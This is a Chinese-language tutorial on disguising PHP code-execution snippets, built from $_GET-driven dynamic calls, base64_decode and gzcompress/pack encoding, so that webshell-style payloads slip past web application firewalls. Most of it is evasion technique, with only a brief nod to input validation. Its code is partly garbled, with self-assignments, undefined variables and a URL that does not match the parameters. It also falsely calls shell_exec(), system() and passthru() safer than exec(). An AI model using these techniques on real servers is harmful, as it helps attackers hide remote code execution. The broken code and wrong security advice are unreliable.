字符串的变形
1.1字符串的简单拼接
<?php
$func=$_GET['phpinfo'];
$a=$a;
$b=$b;
$c=$a.$c.$b.$_GET['();phpinfo();'];
$c($func);
?>
如此会构造:http://example.com/code.php?func=phpinfo&func2=();phpinfo();//
为了防止这种类型的攻击,开发者应该对用户输入进行适当的验证、过滤和转义,可以使用PHP内置的函数如htmlspecialchars()
来转义用户输入,或使用数据库查询参数绑定等技术来防止代码注入攻击。
注意:
1.1.1 敏感参数的使用 eval()可以执行任意有效php代码
eval(string $code)
1.1.2敏感参数的使用 exec()
exec(string $command ,array &$output, int &$return_var)
示例:如何使用exec()
函数执行系统命令并获取输出结果:
$output = array();
$return_var = 0;
exec('ls -l',$output,$return_var);
echo "Output: " . implode("\n",$output);
echo "Return_var: " . $return_var;
为了安全起见,可以使用其他更安全的函数来执行特定的操作,如shell_exec()
、system()
、passthru()
等,具体取决于执行的命令和所需的功能。
小结:简单的混淆绕不过一些WAF可以使用一些函数
1.2利用字符串函数
ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包
我们可以使用base64加参数加密
<?php
$func=base64_decode($_GET['phpinfo']);
$a=$a;
$b=$b;
$c=$a.$c.$b.$_GET['();phpinfo();'];
$c($func);
?>
这种方法可以绕过一些比较常见WAF,一些云waf很难绕过,我们可以使用一些别的不常见函数或者多重嵌套方法;
1.3 gzcompress+pack
<?php
$data = gzcompress("phpinfo();"); // 压缩字符串数据
$binaryData = pack("A*", $data); // 将字符串转换为二进制数据
$file = "123.txt"; // 文件路径
// 将二进制数据写入文件
file_put_contents($file, $binaryData);
echo "生成二进制文件成功!";
?>
本地生成二进制文件,在本地可以用html写一个登陆界面然后用burp进行一个抓包
可以看到这里执行了phpinfo,一般的waf是无法解析出来的